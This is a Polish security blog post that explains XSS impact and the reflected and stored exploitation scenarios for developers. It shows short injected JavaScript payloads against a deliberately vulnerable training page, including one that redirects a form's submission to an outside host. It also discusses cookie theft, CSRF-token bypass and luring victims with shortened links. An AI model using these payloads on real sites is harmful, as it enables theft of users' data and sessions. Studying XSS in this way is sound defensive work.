Cross-Site Scripting na liście OWASP Top10 2007 znalazł się na pierwszym miejscu. Na liście 2009 CWE/SANS Top 25 Most Dangerous Programming Errors znajdują się z kolei Improper Input Validation, Improper Encoding or Escaping of Output czyli przyczyny podatności oraz beast itself, czyli Failure to Preserve Web Page Structure ('Cross-site Scripting').
Scenariusze wykorzystania Cross-Site Scripting
Powtarzam to do znudzenia, ale niestety tak trzeba. Trzeba choćby dlatego, że większość aplikacji, z którymi miałem do czynienia (testowałem lub zlecałem testowanie) miało problemy z XSS. Trochę korzystniej wypadały aplikacje pisane w ASP.NET z uwagi na wbudowany mechanizm Request Validation. Tym razem nie zamierzam już po raz kolejny pisać z czego wynika cross-site scripting i jak się przed nim chronić. Akurat walidacja oraz encoding są tematami łatwymi do zrozumienia. Dostrzegam natomiast problem w braku zrozumienia tego, do czego może prowadzić cross-site scripting.
Zgodnie z 10 Immutable Laws of Security:
If a bad guy can persuade you to run his program on your computer, it's not your computer anymore (Law #1).
W zasadzie cross-site scripting doskonale pasuje do tego prawa. To, co można osiągnąć poprzez wykorzystanie podatności tego typu to właśnie uruchomienie dowolnego, wybranego przez atakującego kodu, przy czym kod jest uruchamiany w przeglądarce klienta z uprawnieniami aktualnego użytkownika.
Na potrzeby aplikacji internetowych Law #1 można zmodyfikować do postaci jeśli twoja aplikacja jest podatna na cross-site scripting, to nie jest to już twoja aplikacja. Dlaczego takie stwierdzenie? Dlatego, że atakujący wprowadzając swój kod do aplikacji może dowolnie modyfikować jej zachowanie. Oczywiście mowa tu o tej części aplikacji działającej po stronie klienta w przeglądarce, ale często to w zupełności wystarczy, a to dzięki JavaScript oraz DOM.
Dla lepszego zrozumienia powyższych stwierdzeń mała (i trywialna) demonstracja. Jako dobry przykład złego przykładu niech posłuży http://bootcamp.threats.pl/lesson09/index.php.
Na początek zmodyfikujemy tytuł strony, wystarczy przekazać do aplikacji następującą wartość (w jakim konkretnie kontekście wartość ta zostanie użyta pozostawiam do ustalenia czytelnikowi):
'; document.title = 'Nowy lepszy tytuł strony.
Zmiana tytułu strony nie robi oczywiście większego wrażenia, ale może zamiast tego coś takiego:
'; document.forms[0].action = 'http://wampir.mroczna-zaloga.org
Powyższy przykład spowoduje wysłanie zawartości formularza pod adres inny, niż było to pierwotnie przewidziane przez programistę.
Odnośnie wpisu XSS sandbox :) i przykładu trzeciego. Co z tego, że nie ma obrazka? Przecież można go sobie dodać. Na przykład tak:
'; var warning = document.getElementById('warning'); var img = document.createElement('img'); warning.appendChild(img); img.src = 'http://www.xbow.pl/images/xbow_600.jpg
Zresztą całe to ostrzeżenie, w które wstawiłem obrazek, głupio wygląda, może sobie je ukryjemy:
'; document.getElementById('warning').style.display = 'none
Oczywiście zamiast wstawiania obrazka równie dobrze można wstawić na przykład kontrolkę ActiveX, która zawiera znaną podatność (było tego ostatnio trochę) i za pośrednictwem XSS atakować nie tyle samą aplikację, co system użytkownika. Taka prosta droga do rozmnażania się malware.
Tego typu przykłady można mnożyć w nieskończoność, XSS nie jest celem samym w sobie, lecz środkiem pozwalającym na osiągnięcie celu. W każdym razie chyba już w miarę oczywiste jest, że poprzez XSS można modyfikować w praktycznie dowolny sposób wygląd i zachowanie strony, można dostać się do dowolnego jej elementu (jego wartości) co pozwala choćby na proste obejście zabezpieczenia przed CSRF w postaci tokenów, patrz Cross Site Scripting i Cross Site Request Forgery lub wykradnięcie identyfikatorów sesji (stąd częsty przykład PoC w przypadku XSS: alert(document.cookie), który niestety zakodował w "świadomości ogółu" skojarzenie, że XSS to wyskakujące okienka...), czy wreszcie symulować działanie użytkownika.
Trochę dziwi mnie, że często to właśnie programiści mają problem z wyobrażeniem sobie skutków wykorzystania XSS, choć kto jak kto, ale oni powinni wiedzieć co można zrobić za pomocą JavaScript na stronie... Przecież sami go używają przy tworzeniu aplikacji, niektórzy aż nadużywają.
Przyjmę teraz radosne założenie, że odpowiedź na pytania z czego wynika podatność cross-site scripting oraz co można zrobić za pomocą cross-site scripting jest znana i zrozumiana. Pozostaje pytanie o scenariusz wykorzystania podatności.
Istnieje trzy typy XSS, o których to typach można przeczytać choćby na Wikipedii. Przy rozważaniach odnośnie scenariuszy wykorzystania wystarczy jednak uwzględnić dwa typy: reflected oraz persistent (stored). W zależności od typu scenariusz wykorzystania wygląda w różny sposób.
W przypadku pierwszego typu (reflected XSS) payload aktywuje się w odpowiedzi na żądanie przesłane przez klienta, które ów payload zawiera. Po prostu jeden z parametrów żądania HTTP jest używany bezpośrednio do skonstruowania odpowiedzi (wypisany na wyjściu). Oznacza to, że atakujący musi przekonać atakowanego, by wysłał do serwera odpowiednie żądanie, czyli przekazał odpowiedni payload w dotkniętym przez XSS parametrze. Najczęstszym przypadkiem jest po prostu skłonienie użytkownika do kliknięcia odpowiednio spreparowanego linka. By ukryć payload atakujący może skorzystać z różnych serwisów służących do skracania URL (i po części dlatego takich serwisów nie lubię i staram się nie używać).
Scenariusz ze czyniącym ZŁO linkiem można zastosować oczywiście wyłącznie wówczas, gdy podatny parametr jest przekazywany (lub może zostać również odczytany) poprzez żądanie GET. Nie oznacza to jednak, że używanie POST w jakiś szczególny sposób utrudnia (lub wręcz uniemożliwia) wykorzystanie reflected XSS. Atakujący może utworzyć prostą stronę, na której osadzony skrypt spowoduje wysłanie odpowiedniego żądania POST do podatnej na XSS strony.
W obu przypadkach jedyne co musi zrobić użytkownik, to kliknąć na przesłany przez atakującego link. Atakujący musi wykazać się więc poza wiedzą techniczną, pewnymi umiejętnościami z dziedziny socjotechniki.
Kilka lat temu było głośno o podatności typu XSS w mBank (i kilku innych bankach). Podatność ta była właśnie typu reflected XSS. Teoretycznie wykorzystanie jej było trywialne, użytkownik musiał kliknąć na odpowiednio przygotowany link będąc jednocześnie uwierzytelniony w banku. I właśnie fakt, że do skutecznego wykorzystania reflected XSS potrzebnych jest kilka(naście) zachodzących jednocześnie warunków, jego wykorzystanie nie zawsze jest tak proste, jak się początkowo może wydawać.
Nieco inaczej przedstawia się sytuacja w przypadku stored XSS. Tu payload jest w jakiś sposób osadzany na trwale w systemie i aktywuje się wówczas, gdy dowolny z jego użytkowników otrzymuje stronę, na której ów payload zostanie wypisany.
W tym przypadku atakujący szuka takich miejsc, w których wpisane przez niego dane są później wykorzystywane do budowania stron dla innych użytkowników. Dla lepszego zobrazowania tematu kilka przykładów:
- fora dyskusyjne (treść posta, tytuł posta,),
- serwisy społecznościowe (profile użytkowników, komentarze, wiadomości),
- serwisy aukcyjne (strony aukcji, komentarze, wiadomości),
- (...),
Osadzenie w dowolnym takim "obiekcie" XSS pozwoli na automatyczne zaatakowanie każdej osoby, która wyświetli stosowną stronę. W szczególności jest możliwe na przykład napisanie kodu, który będzie się automatycznie "rozmnażał", tak jak przykładowy Samy.
Osobiście uważam, że większy potencjał ma stored XSS, choć to zależy od konkretnej sytuacji. Moja ocena może wynikać po części również z faktu, że moje zdolności socjotechniczne są umiarkowane i wolę zastawiać pułapki, czyli "zaszczepiać" XSS w aplikacji i czekać, aż ktoś się na niego natknie. Przy okazji warto zauważyć, że wyszukiwanie stored XSS jest nieco trudniejsze, niż w przypadku reflected XSS. Wynika to z faktu, że czasami raz wprowadzone do systemu dane wypisywane są w wielu miejscach w systemie, w różnym kontekście i w różny sposób. W większości przypadków działa encoding (bo skoro udaje się wprowadzić do systemu payload to prawdopodobnie walidacja danych wejściowych nie zadziałała), ale w kilku przypadkach zdarza się sytuacja, gdy tego encodingu nie ma i co skutkuje XSS.
Nie każdy przypadek XSS nadaje się do wykorzystania. Tu nie mówię o ewentualnych ograniczeniach na sam payload, raczej o realnym przypadku użycia konkretnej podatności. Jeśli przykładowo reflected XSS występuje w trzecim kroku jakiejś formatki, to jego wykorzystanie może być co najmniej trudne (zakładam, że aplikacja utrzymuje stan i wie, że użytkownik nie przeszedł dwóch wcześniejszych wymaganych kroków), choć może zdarzyć się ofiara, która na prośbę atakującego najpierw przejdzie dwa kroki tej formatki, a później kliknie na podesłany link, bo bardzo chce zobaczyć tańczące prosiaki.
Podobnie w przypadku stored XSS. Jeśli dane, w których można osadzić XSS są dostępne wyłącznie dla użytkownika, który je osadził, to ciężko taką podatność wykorzystać do atakowania innych użytkowników (chyba, że istnieje możliwość modyfikacji cudzych danych i wpisanie komuś XSS).
UPDATE 2011-01-31: Cross-site scripting można wykorzystać do jeszcze bardziej interesujących ataków. Ciekawym przykładem może być XSS-Track, którego autorem jest Krzysztof Kotowicz.
http://xforce.iss.net/xforce/xfdb/21305
Fascynująca, bo:
1) Siteminder jest systemem Single Sign-on i jest sprzedawany jako "we will secure you"
2) podatny parametr umożliwiał wstrzyknięcie czegokolwiek BEZPOŚREDNIO do środka kodu Javascript osadzonego w stronie
A co do wstrzykiwania bezpośrednio do kodu JavaScript, to akurat to nie jest jakoś bardzo wyjątkowa sytuacja. Dość często spotykam się z takimi przypadkami. Jest to tym bardziej fascynujące, gdy widać, że teoretycznie jest realizowany encoding, ale sposób jego realizacji jest nieodpowiedni do kontekstu, w którym dane są wykorzystane. Co oczywiście jest ZŁE!